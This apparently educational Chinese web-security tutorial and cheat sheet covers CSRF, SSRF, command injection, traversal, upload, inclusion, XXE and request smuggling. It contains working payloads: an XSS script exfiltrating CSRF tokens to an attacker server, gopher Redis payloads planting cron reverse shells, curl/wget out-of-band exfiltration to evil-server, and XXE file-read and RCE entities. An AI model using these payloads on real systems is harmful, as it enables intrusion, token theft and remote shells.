WEB安全全基础漏洞学习

本文省略了SQL注入和xss漏洞,需要的可以网上找资料,资料非常多

web安全全基础漏洞学习

CSRF

简介

跨站请求伪造 (Cross-Site Request Forgery, CSRF),也被称为 One Click Attack 或者 Session Riding ,通常缩写为CSRF,是一种对网站的恶意利用。尽管听起来像XSS,但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。

CSRF攻击过程的重点

1.目标用户已经登录了网站,能够执行网站的功能
2.目标用户访问了攻击者构造的URL

分类

资源包含

资源包含是在大多数介绍CSRF概念的演示或基础课程中可能看到的类型。

  • 这种类型归结为控制HTML标签(例如、、、、

基于表单

通常在正确使用安全的请求方式时看到。

  • 攻击者创建一个想要受害者提交的表单;

  • 其包含一个JavaScript片段,强制受害者的浏览器提交。

  • 该表单可以完全由隐藏的元素(例如hidden属性的input)组成,以致受害者很难发现它。

  • 如果处理cookies不当,攻击者可以在任何站点上发动攻击,

  • 只要受害者使用有效的cookie登录,攻击就会成功。

  • 如果请求是有目的性的,成功的攻击将使受害者回到他们平时正常的页面

  • 该方法对于攻击者可以将受害者指向特定页面的网络钓鱼攻击特别有效(盗取qq密码的实现过程)。

XMLHttpRequest

XMLHttpRequest可能是最少看到的方式,由于许多现代Web应用程序依赖XHR许多应用花费大量的时间来构建和实现这一特定的对策

基于XHR的CSRF通常由,于SOP而以XSS有效载荷的形式出现。没有跨域资源共享策略 (Cross-Origin Resource Sharing, CORS)

XHR仅限于攻击者托管自己的有效载荷的原始请求。

这种类型的CSRF的攻击有效载荷基本上是一个标准的XHR,攻击者已经找到了一些注入受害者浏览器DOM的方式。

案例学习

DVWA:Cross Site Request Forgery (CSRF)

图片加载有问题,需要学习案例和深入理解的朋友可以跳转我的另一篇文章,
https://blog.csdn.net/qq_62708558/article/details/124237639?spm=1001.2014.3001.5501

LOW

为了尽可能地模拟真实地CSRF漏洞利用,我们先假定这样一种情况,本界面是在用户A登录后的某合法网站,可能是社交,可能是银行网站。用户A已经提交了账号密码进入了本站点。这是他修改密码地界面。

这时候我是黑客HackB,想要窃取他在这个合法网站上的账号。这就是本题目所假定地情况。

我们先在自己的修改密码的站点测试一下。

发现本界面是直接用GET请求来修改的账户密码。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-e3e7YkYJ-1653288263418)(https://gitee.com/sanmuforrest/images/raw/master/image/1644653327.png)]

那就比较简单了,黑客B就伪造了这样了的一个urlhttp://192.168.235.130/DVWA-master/vulnerabilities/csrf/?password_new=abcdef&password_conf=abcdef&Change=Change#

这个url中的地址为用户A的地址。只要用户A自己点击了这个url,那么A的密码就会修改为HackB想要修改的密码,abcdef。但是这个url有点过于明显了。用户A可能稍微警觉一点就不会点。所以我们可以用短链接伪装一下

http://45.runchang.top/短链接转换网站

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-c3gfs6Vr-1653288263418)(https://gitee.com/sanmuforrest/images/raw/master/image/1644653949(1)].png)

甚至还可以再伪装一下点这里

 放在一个可能吸引到用户A的地方,如用户A看得到的某论坛等,而此时用户A的cookie也还没过期,那一点击这个url,我们的攻击就成功了。

点击后

img

显示为404,但是已经没用了用户A的密码已经被改了,而用户A这个时候还不一定知道。

Medium难度

此时网站加强了防御,加上了对referer字段的验证。也就是http报文段的referer字段需要再同域名下,这个时候HackB就不能将上面那个url放在任何地方了,他需要在同网站下放入那个超链接,并且吸引用户A点击。

查看关键源代码

if( isset( $_GET[ ‘Change’ ] ) ) {
// Checks to see where the request came from
if( eregi( $_SERVER[ ‘SERVER_NAME’ ], $_SERVER[ ‘HTTP_REFERER’ ] ) ) {
// Get input
$pass_new = $_GET[ ‘password_new’ ];
$pass_conf = $_GET[ ‘password_conf’ ];
HTTP_REFERER是Referer参数值,即来源地址
SERVER_NAME是host参数及主机ip名(我这里是192.168.1.102)

【 注:在php语言中int eregi(string pattern, string string),译为
检查string函数中是否含有pattern,如果有返回True,反之False。】

因此,此句是判断HTTP_REFERER中是否包含SERVER_NAME

我们写一个html文件,和low难度的那个文件内容相同:
<·img src=“http://192.168.1.102/dvwa-master/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#” border=“0” style=“display:none;”/>

<·h1>404<·h1>

<·h2>file not found.<h2·>
写好后将其命名为ip地址.html格式,如:192.168.1.102.html
然后将其放在网页根目录WWW的DVWA文件中

在这里插入图片描述

然后我们打开burp suite,对csrf界面抓一次包,发送至repeater,将Referer地址改为http://攻击者服务器地址/dvwa/被攻击ip地址.html格式,如图

在这里插入图片描述

方法二:

将攻击页面名称改为用户主机名202.100.10.129.html (攻击页面放在攻击者自己的服务器里,202.100.10.130/202.100.10.129html),当用户不小心点到这个页面时,会自动执行以下脚本,用途就是更改密码。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FLruD9Pp-1653288263419)(C:\Users\asus\AppData\Roaming\Typora\typora-user-images\image-20220418142915976.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FTLT4oWv-1653288263420)(C:\Users\asus\AppData\Roaming\Typora\typora-user-images\image-20220418142931814.png)]

HIGH

其实也是反射型xss利用的一个实例

high难度采用了新机制,也就是对token进行验证,关于token我的博客有介绍:session、cookie和token的区别 - 三木森林 - 博客园 (cnblogs.com)所以我们必须要先拿到用户A的token。

那么在这个时候得连同xss漏洞连同使用。

思路是这样的,构造一个带链接的恶意脚本放置于网站内部,而且要用容易触发的事件触发器(前提是该站点是有XSS漏洞的)。

首先,假如我们在本网站下找到了一个XSS漏洞点(DVWA站点下的low难度的XSS(Reflected),是一个搜索输入信息的点),然后构造我们的XSS语句

该语句要调用我们存储在我们的恶意服务器上的JS文件,我们先将其写出来

//hacker.js代码
var img = new Image();
img.src = "http://192.168.235.130/hack.php?q="+frames[0].document.getElementsByName(‘user_token’)[0].value;
document.body.append(img);

这个js代码我们是存储在恶意服务器上的http://192.168.235.130/hackr.js

再构造我们的恶意url,这个url在用户点击之后就会执行我们利用XSS的恶意脚本。

http://192.168.235.130/DVWA-master/vulnerabilities/xss_r/?name=<script src="http://192.168.235.130/hackr.js"></script>#

该js文件会对恶意服务器发送请求,并传送相应参数,这是恶意服务器端后台代码,存储在http://192.168.235.130/hack.php位置

<?php
    $token = $_GET['q'];
    var_dump($token);
    $myfile = "token.txt";
    file_put_contents($myFile,$token);
?>

然后我们再伪装一下上面那个url就可以,或是换成短链接或者什么的。就可以完成以上步骤了。

注:hacke.php和hacker.js是我们自己写的文件

在完成上述步骤,最后会在服务器端生成一个token文件,里面的token就是我们需要的token。拿到了token我们就需要可以带上token用meidum难度的方法进行CSRF攻击了。

防御

  • 通过CSRF-token或者验证码来检测用户提交

  • 验证 Referer/Content-Type

  • 对于用户修改删除等操作最好都使用POST操作

  • 避免全站通用的Cookie,严格设置Cookie的域

  • 1.验证请求里面的Referer头,该头表示你是从哪个页面到这个页面来的,如果不是指定页面的话就有可能是CSRF攻击,但是该方法不太安全,可有多种方式进行绕过
    2.在请求中放入攻击者不能伪造的信息,比如可以在HTTP请求中以参数的形式加入一个随机产生的令牌,并在服务器端验证这个令牌,如果令牌不正确甚至没有,则认为这个请求是CSRF的

参考链接

SSRF

简介

服务端请求伪造(Server Side Request Forgery, SSRF)指的是攻击者在未能取得服务器所有权限时,利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统

危害

SSRF可以对外网、服务器所在内网、本地进行端口扫描,攻击运行在内网或本地的应用,或者利用File协议读取本地文件。

内网服务防御相对外网服务来说一般会较弱,甚至部分内网服务为了运维方便并没有对内网的访问设置权限验证,所以存在SSRF时,通常会造成较大的危害。

利用方式

SSRF利用存在多种形式以及不同的场景,针对不同场景可以使用不同的利用和绕过方式。

以curl为例, 可以使用dict协议操作Redis、file协议读文件、gopher协议反弹Shell等功能,常见的Payload如下:

curl -vvv 'dict://127.0.0.1:6379/info'

curl -vvv 'file:///etc/passwd'

# * 注意: 链接使用单引号,避免$变量问题

curl -vvv 'gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/103.21.140.84/6789 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'

危险函数

SSRF涉及到的危险函数主要是网络访问支持伪协议的网络读取。以PHP为例,涉及到的函数有 file_get_contents() / fsockopen() / curl_exec() 等。

过滤绕过

更改IP地址写法

一些开发者会通过对传过来的URL参数进行正则匹配的方式来过滤掉内网IP,如采用如下正则表达式:

  • ^10(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$
  • ^172\.([1][6-9]|[2]\d|3[01])(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
  • ^192\.168(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$

对于这种过滤我们采用改编IP的写法的方式进行绕过,例如192.168.0.1这个IP地址可以被改写成:

  • 8进制格式:0300.0250.0.1
  • 16进制格式:0xC0.0xA8.0.1
  • 10进制整数格式:3232235521
  • 16进制整数格式:0xC0A80001
  • 合并后两位:1.1.278 / 1.1.755
  • 合并后三位:1.278 / 1.755 / 3.14159267

另外IP中的每一位,各个进制可以混用。

访问改写后的IP地址时,Apache会报400 Bad Request,但Nginx、MySQL等其他服务仍能正常工作。

另外,0.0.0.0这个IP可以直接访问到本地,也通常被正则过滤遗漏。

使用解析到内网的域名

如果服务端没有先解析IP再过滤内网地址,我们就可以使用localhost等解析到内网的域名。

另外 xip.io 提供了一个方便的服务,这个网站的子域名会解析到对应的IP,例如192.168.0.1.xip.io,解析到192.168.0.1

利用解析URL所出现的问题

在某些情况下,后端程序可能会对访问的URL进行解析,对解析出来的host地址进行过滤。这时候可能会出现对URL参数解析不当,导致可以绕过过滤。

比如 http://www.baidu.com@192.168.0.1/ 当后端程序通过不正确的正则表达式(比如将http之后到com为止的字符内容,也就是www.baidu.com,认为是访问请求的host地址时)对上述URL的内容进行解析的时候,很有可能会认为访问URL的host为www.baidu.com,而实际上这个URL所请求的内容都是192.168.0.1上的内容。

利用跳转

如果后端服务器在接收到参数后,正确的解析了URL的host,并且进行了过滤,我们这个时候可以使用跳转的方式来进行绕过。

可以使用如 http://httpbin.org/redirect-to?url=http://192.168.0.1 等服务跳转,但是由于URL中包含了192.168.0.1这种内网IP地址,可能会被正则表达式过滤掉,可以通过短地址的方式来绕过。

常用的跳转有302跳转和307跳转,区别在于307跳转会转发POST请求中的数据等,但是302跳转不会。

通过各种非HTTP协议

如果服务器端程序对访问URL所采用的协议进行验证的话,可以通过非HTTP协议来进行利用。

比如通过gopher,可以在一个url参数中构造POST或者GET请求,从而达到攻击内网应用的目的。例如可以使用gopher协议对与内网的Redis服务进行攻击,可以使用如下的URL:

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1* * * * bash -i >& /dev/tcp/172.19.23.228/23330>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

除了gopher协议,File协议也是SSRF中常用的协议,该协议主要用于访问本地计算机中的文件,我们可以通过类似 file:///path/to/file 这种格式来访问计算机本地文件。使用file协议可以避免服务端程序对于所访问的IP进行的过滤。

例如我们可以通过 `file:///d:/1.txt` 来访问D盘中1.txt的内容。
DNS Rebinding

一个常用的防护思路是:对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就禁止该次请求。

但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间差,利用这个时间差,可以进行DNS重绑定攻击。

要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0。这样就可以进行攻击了,完整的攻击流程为:

  • 服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP
  • 对于获得的IP进行判断,发现为非黑名单IP,则通过验证
  • 服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。
  • 由于已经绕过验证,所以服务器端返回访问内网资源的结果。
利用IPv6

有些服务没有考虑IPv6的情况,但是内网又支持IPv6,则可以使用IPv6的本地IP如 [::] 0000::1 或IPv6的内网域名来绕过过滤

利用IDN

一些网络访问工具如Curl等是支持国际化域名(Internationalized Domain Name,IDN)的,国际化域名又称特殊字符域名,是指部分或完全使用特殊的文字或字母组成的互联网域名。

在这些字符中,部分字符会在访问时做一个等价转换,例如 ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜexample.com 等同。利用这种方式,可以用 ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ 等字符绕过内网限制。

可能的利用点

内网服务
Apache Hadoop远程命令执行
axis2-admin部署Server命令执行
Confluence SSRF
counchdb WEB API远程命令执行
dict
docker API远程命令执行
Elasticsearch引擎Groovy脚本命令执行
ftp / ftps(FTP爆破)
glassfish任意文件读取和war文件部署间接命令执行
gopher
HFS远程命令执行
http、https
imap/imaps/pop3/pop3s/smtp/smtps(爆破邮件用户名密码)
Java调试接口命令执行
JBOSS远程Invoker war命令执行
Jenkins Scripts接口命令执行
ldap
mongodb
php_fpm/fastcgi 命令执行
rtsp - smb/smbs(连接SMB)
sftp
ShellShock 命令执行
Struts2 命令执行
telnet
tftp(UDP协议扩展)
tomcat命令执行
WebDav PUT上传任意文件
WebSphere Admin可部署war间接命令执行
zentoPMS远程命令执行
Redis利用
  • 写ssh公钥
  • 写crontab
  • 写WebShell
  • Windows写启动项
  • 主从复制加载 .so 文件
  • 主从复制写无损文件

防御方式

命令注入

命令注入通常因为指Web应用在服务器上拼接系统命令而造成的漏洞。

该类漏洞通常出现在调用外部程序完成一些功能的情景下。比如一些Web管理界面的配置主机名/IP/掩码/网关、查看系统信息以及关闭重启等功能,或者一些站点提供如ping、nslookup、提供发送邮件、转换图片等功能都可能出现该类漏洞。

常见危险函数

PHP
  • system
  • exec
  • passthru
  • shell_exec
  • popen
  • proc_open
Python
  • system
  • popen
  • subprocess.call
  • spawn
Java
  • java.lang.Runtime.getRuntime().exec(command)

常见注入方式

  • 分号分割
  • || && & 分割
  • | 管道符
  • \r\n %d0%a0 换行
  • 反引号解析
  • $() 替换

无回显技巧

  • bash反弹shell

  • DNS带外数据

  • http带外

    curl http://evil-server/$(whoami)``wget http://evil-server/$(whoami)

  • 无带外时利用 sleep 或其他逻辑构造布尔条件

常见绕过方式

空格绕过
  • < 符号 cat<123
  • \t / %09
  • ${IFS} 其中{}用来截断,比如cat I F S 2 会 被 认 为 I F S 2 是 变 量 名 。 另 外 , 在 后 面 加 个 IFS2会被认为IFS2是变量名。另外,在后面加个 IFS2IFS2可以起到截断的作用,一般用$9,因为$9是当前系统shell进程的第九个参数的持有者,它始终为空字符串
黑名单绕过
  • a=l;b=s;$a$b
  • base64 echo "bHM=" | base64 -d
  • /?in/?s => /bin/ls
  • 连接符 cat /etc/pass'w'd
  • 未定义的初始化变量 cat$x /etc/passwd
长度限制绕过
>wget\
>foo.\
>com
ls -t>a
sh a

上面的方法为通过命令行重定向写入命令,接着通过ls按时间排序把命令写入文件,最后执行 直接在Linux终端下执行的话,创建文件需要在重定向符号之前添加命令 这里可以使用一些诸如w,[之类的短命令,(使用ls /usr/bin/?查看) 如果不添加命令,需要Ctrl+D才能结束,这样就等于标准输入流的重定向 而在php中 , 使用 shell_exec 等执行系统命令的函数的时候 , 是不存在标准输入流的,所以可以直接创建文件

常用符号

命令分隔符
  • %0a / %0d / \n / \r
  • ;
  • & / &&
通配符
  • * 0到无穷个任意字符
  • ? 一个任意字符
  • [ ] 一个在括号内的字符,e.g. [abcd]
  • [ - ] 在编码顺序内的所有字符
  • [^ ] 一个不在括号内的字符

防御

  • 不使用时禁用相应函数

  • 尽量不要执行外部的应用程序或命令

  • 做输入的格式检查

    • 转义命令中的所有shell元字符

      shell元字符包括 #&;,|*?~<>^()[]{}$`

目录穿越

简介

目录穿越(也被称为目录遍历/directory traversal/path traversal)是通过使用 ../ 等目录控制序列或者文件的绝对路径来访问存储在文件系统上的任意文件和目录,特别是应用程序源代码、配置文件、重要的系统文件等。

攻击载荷

URL参数
  • ../
  • ..\
  • ..;/
Nginx Off by Slash
  • https://vuln.site.com/files../
UNC Bypass
  • \\localhost\c$\windows\win.ini

过滤绕过

    • 单次替换

      ...//

  • URL编码

    • 16位Unicode编码

      \u002e

    • 超长UTF-8编码

      \%e0%40%ae

防御

在进行文件操作相关的API前,应该对用户输入做过滤。较强的规则下可以使用白名单,仅允许纯字母或数字字符等。

若规则允许的字符较多,最好使用当前操作系统路径规范化函数规范化路径后,进行过滤,最后再进行相关调用。

文件读取

考虑读取可能有敏感信息的文件

用户目录下的敏感文件

  • .bash_history
  • .zsh_history
  • .profile
  • .bashrc
  • .gitconfig
  • .viminfo
  • passwd

应用的配置文件

  • /etc/apache2/apache2.conf
  • /etc/nginx/nginx.conf

应用的日志文件

  • /var/log/apache2/access.log
  • /var/log/nginx/access.log

站点目录下的敏感文件

  • .svn/entries
  • .git/HEAD
  • WEB-INF/web.xml
  • .htaccess

特殊的备份文件

  • .swp
  • .swo
  • .bak
  • index.php~

Python的Cache

  • __pycache__\__init__.cpython-35.pyc

文件上传

文件类型检测绕过

更改请求绕过

有的站点仅仅在前端检测了文件类型,这种类型的检测可以直接修改网络请求绕过。 同样的,有的站点在后端仅检查了HTTP Header中的信息,比如 Content-Type 等,这种检查同样可以通过修改网络请求绕过。

Magic检测绕过

有的站点使用文件头来检测文件类型,这种检查可以在Shell前加入对应的字节以绕过检查。几种常见的文件类型的头字节如下表所示

类型二进制值
JPGFF D8 FF E0 00 10 4A 46 49 46
GIF47 49 46 38 39 61
PNG89 50 4E 47
TIF49 49 2A 00
BMP42 4D
后缀绕过

部分服务仅根据后缀、上传时的信息或Magic Header来判断文件类型,此时可以绕过。

php由于历史原因,部分解释器可能支持符合正则 /ph(p[2-7]?|t(ml)?)/ 的后缀,如 php / php5 / pht / phtml / shtml / pwml / phtm 等 可在禁止上传php文件时测试该类型。

jsp引擎则可能会解析 jspx / jspf / jspa / jsw / jsv / jtml 等后缀,asp支持 asa / asax / cer / cdx / aspx / ascx / ashx / asmx / asp{80-90} 等后缀。

除了这些绕过,其他的后缀同样可能带来问题,如 vbs / asis / sh / reg / cgi / exe / dll / com / bat / pl / cfc / cfm / ini 等。

系统命名绕过

在Windows系统中,上传 index.php. 会重命名为 . ,可以绕过后缀检查。 也可尝试 index.php%20index.php:1.jpg index.php::$DATA 等。 在Linux系统中,可以尝试上传名为 index.php/../aa/../index.php/. 的文件

.user.ini

在php执行的过程中,除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER[‘DOCUMENT_ROOT’] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。 .user.ini 中可以定义除了PHP_INI_SYSTEM以外的模式的选项,故可以使用 .user.ini 加上非php后缀的文件构造一个shell,比如 auto_prepend_file=01.gif

WAF绕过

有的waf在编写过程中考虑到性能原因,只处理一部分数据,这时可以通过加入大量垃圾数据来绕过其处理函数。

另外,Waf和Web系统对 boundary 的处理不一致,可以使用错误的 boundary 来完成绕过。

竞争上传绕过

有的服务器采用了先保存,再删除不合法文件的方式,在这种服务器中,可以反复上传一个会生成Web Shell的文件并尝试访问,多次之后即可获得Shell。

攻击技巧

Apache重写GetShell

Apache可根据是否允许重定向考虑上传.htaccess

内容为

AddType application/x-httpd-php .png
php_flag engine 1

就可以用png或者其他后缀的文件做php脚本了

软链接任意读文件

上传的压缩包文件会被解压的文件时,可以考虑上传含符号链接的文件 若服务器没有做好防护,可实现任意文件读取的效果

防护技巧

  • 使用白名单限制上传文件的类型
  • 使用更严格的文件类型检查方式
  • 限制Web Server对上传文件夹的解析

文件包含

基础

常见的文件包含漏洞的形式为 <?php include("inc/" . $_GET['file']); ?>

直接转发方式进行[SFM]本地文件包含【straight forward method】

考虑常用的几种包含方式为

  • 同目录包含 file=.htaccess
  • 目录遍历 ?file=../../../../../../../../../var/lib/locate.db
  • 日志注入 ?file=../../../../../../../../../var/log/apache/error.log
  • 利用 /proc/self/environ

其中日志可以使用SSH日志或者Web日志等多种日志来源测试

触发Sink

php

    • include

      在包含过程中出错会报错,不影响执行后续语句

    • include_once

      仅包含一次

    • require

      在包含过程中出错,就会直接退出,不执行后续语句

  • require_once

绕过技巧

常见的应用在文件包含之前,可能会调用函数对其进行判断,一般有如下几种绕过方式

url编码绕过

如果WAF中是字符串匹配,可以使用url多次编码的方式可以绕过

特殊字符绕过
  • 某些情况下,读文件支持使用Shell通配符,如 ? *
  • url中 使用 ? # 可能会影响include包含的结果
  • 某些情况下,unicode编码不同但是字形相近的字符有同一个效果
%00截断

几乎是最常用的方法,条件是 magic_quotes_gpc 关闭,而且php版本小于5.3.4。

长度截断

Windows上的文件名长度和文件路径有关。具体关系为:从根目录计算,文件路径长度最长为259个bytes。

msdn定义 #define MAX_PATH 260,其中第260个字符为字符串结尾的 \0 ,而linux可以用getconf来判断文件名长度限制和文件路径长度限制。

获取最长文件路径长度:getconf PATH_MAX /root 得到4096 获取最长文件名:getconf NAME_MAX /root 得到255

那么在长度有限的时候,././././ (n个) 的形式就可以通过这个把路径爆掉

在php代码包含中,这种绕过方式要求php版本 < php 5.2.8

伪协议绕过
  • 远程包含: 要求 allow_url_fopen=Onallow_url_include=On , payload为 ?file=[http|https|ftp]://websec.wordpress.com/shell.txt 的形式
  • PHP input: 把payload放在POST参数中作为包含的文件,要求 allow_url_include=On ,payload为 ?file=php://input 的形式
  • Base64: 使用Base64伪协议读取文件,payload为 ?file=php://filter/convert.base64-encode/resource=index.php 的形式
  • data: 使用data伪协议读取文件,payload为 ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo= 的形式,要求 allow_url_include=On
协议绕过

allow_url_fopenallow_url_include 主要是针对 http ftp 两种协议起作用,因此可以使用SMB、WebDav协议等方式来绕过限制。

XXE

XML基础

XML 指可扩展标记语言(eXtensible Markup Language),是一种用于标记电子文件使其具有结构性的标记语言,被设计用来传输和存储数据。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。目前,XML文件作为配置文件(Spring、Struts2等)、文档结构说明文件(PDF、RSS等)、图片格式文件(SVG header)应用比较广泛。 XML 的语法规范由 DTD (Document Type Definition)来进行控制

基本语法

XML 文档在开头有 <?xml version="1.0" encoding="UTF-8" standalone="yes"?> 的结构,这种结构被称为 XML prolog ,用于声明XML文档的版本和编码,是可选的,但是必须放在文档开头。

除了可选的开头外,XML 语法主要有以下的特性:

  • 所有 XML 元素都须有关闭标签
  • XML 标签对大小写敏感
  • XML 必须正确地嵌套
  • XML 文档必须有根元素
  • XML 的属性值需要加引号

另外,XML也有CDATA语法,用于处理有多个字符需要转义的情况。

XXE

当允许引用外部实体时,可通过构造恶意的XML内容,导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等后果。一般的XXE攻击,只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,但是也可以通过Blind XXE的方式实现攻击。

攻击方式

拒绝服务攻击
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">
]>
<data>&a2;</data>

若解析过程非常缓慢,则表示测试成功,目标站点可能有拒绝服务漏洞。 具体攻击可使用更多层的迭代或递归,也可引用巨大的外部实体,以实现攻击的效果。

文件读取
<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>
SSRF
<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://publicServer.com/" [
<!ELEMENT data (#ANY)>
]>
<data>4</data>
RCE
<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
   <core id="test101">
      <description>&xxe;</description>
   </core>
</catalog>
XInclude
<?xml version='1.0'?>
<data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://publicServer.com/file.xml"></xi:include></data>

中间件

中间件是介于应用系统和系统软件之间的一类软件,它使用系统软件所提供的基础服务(功能),衔接网络上应用系统的各个部分或不同的应用,能够达到资源共享、功能共享的目的。

Apache

后缀解析

test.php.x1.x2.x3 ( x1,x2,x3 为没有在 mime.types 文件中定义的文件类型)。Apache 将从右往左开始判断后缀, 若x3为非可识别后缀,则判断x2,直到找到可识别后缀为止,然后对可识别后缀进行解析

什么内容用什么形式来显示呢?答案是 MIME Type, 也就是该资源的媒体类型

.htaccess

针对目录改配置

当AllowOverride被启用时,上传启用解析规则的.htaccess

AddType application/x-httpd-php .jpg
php_value auto_append_file .htaccess
#<?php phpinfo();
Options ExecCGI
AddHandler cgi-script .jpg
Options +ExecCGI
AddHandler fcgid-script .gif
FcgidWrapper "/bin/bash" .gif
php_flag allow_url_include 1
php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
#php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B
#php_value auto_append_file https://evil.com/evil-code.txt
目录遍历

配置 Options +Indexes 时Apache存在目录遍历漏洞。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AQJK6Epp-1653288263421)(C:\Users\asus\AppData\Roaming\Typora\typora-user-images\image-20220507112033012.png)]

防御

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2n9YNVuN-1653288263422)(C:\Users\asus\AppData\Roaming\Typora\typora-user-images\image-20220507112101912.png)]

换行解析漏洞CVE-2017-15715

%0A 绕过上传黑名单。

漏洞原理

此漏洞的出现是由于 apache 在修复第一个后缀名解析漏洞时,用正则来匹配后缀。在解析 php 时 xxx.php\x0A 将被按照 php 后缀进行解析,导致绕过一些服务器的安全策略。

lighttpd
xx.jpg/xx.php

在服务器文件的目录下简历文件夹后缀名.php

内目内的所有文件都会被当成php文件解析

HTTP 请求走私

简介

HTTP请求走私是一种干扰网站处理HTTP请求序列方式的技术,最早在 2005 年的一篇 文章 中被提出。

成因

请求走私大多发生于前端服务器和后端服务器对客户端传入的数据理解不一致的情况。这是因为HTTP规范提供了两种不同的方法来指定请求的结束位置,即 Content-LengthTransfer-Encoding 标头。

分类

  • CLTE:前端服务器使用 Content-Length 头,后端服务器使用 Transfer-Encoding
  • TECL:前端服务器使用 Transfer-Encoding 标头,后端服务器使用 Content-Length 标头。
  • TETE:前端和后端服务器都支持 Transfer-Encoding 标头,但是可以通过以某种方式来诱导其中一个服务器不处理它。

攻击

CL不为0的GET请求

前端服务器允许GET请求携带请求体,而后端服务器不允许GET请求携带请求体,它会直接忽略掉GET请求中的 Content-Length 头,不进行处理。例如下面这个例子:

GET / HTTP/1.1
Host: example.com
Content-Length: 44

GET /secret HTTP/1.1
Host: example.com

前端服务器处理了 Content-Length ,而后端服务器没有处理 Content-Length ,基于pipeline机制认为这是两个独立的请求,就造成了漏洞的发生。

CL-CL

根据RFC 7230,当服务器收到的请求中包含两个 Content-Length ,而且两者的值不同时,需要返回400错误,但是有的服务器并没有严格实现这个规范。这种情况下,当前后端各取不同的 Content-Length 值时,就会出现漏洞。例如:

POST / HTTP/1.1
Host: example.com
Content-Length: 8
Content-Length: 7

12345
a

这个例子中a就会被带入下一个请求,变为 aGET / HTTP/

CL-TE

CL-TE指前端服务器处理 Content-Length 这一请求头,而后端服务器遵守RFC2616的规定,忽略掉 Content-Length ,处理 Transfer-Encoding 。例如:

POST / HTTP/1.1
Host: example.com
...
Connection: keep-alive
Content-Length: 6
Transfer-Encoding: chunked

0

a

这个例子中a同样会被带入下一个请求,变为 aGET / HTTP/1.1\r\n

TE-CL

TE-CL指前端服务器处理 Transfer-Encoding 请求头,而后端服务器处理 Content-Length 请求头。例如:

POST / HTTP/1.1
Host: example.com
...
Content-Length: 4
Transfer-Encoding: chunked

12
aPOST / HTTP/1.1

0
TE-TE

TE-TE指前后端服务器都处理 Transfer-Encoding 请求头,但是在容错性上表现不同,例如有的服务器可能会处理 Transfer-encoding ,测试例如:

POST / HTTP/1.1
Host: example.com
...
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: cow

5c
aPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

案例

因为我们的payload里有两个CL头,对应CL-CL的情形,这时候前后端都会各收到一次我们的请求包,因为服务器的不规范,虽然返回400错误,但是请求依旧发给了后端服务器,造成了WAF的绕过问题。

防御

  • 禁用后端连接重用
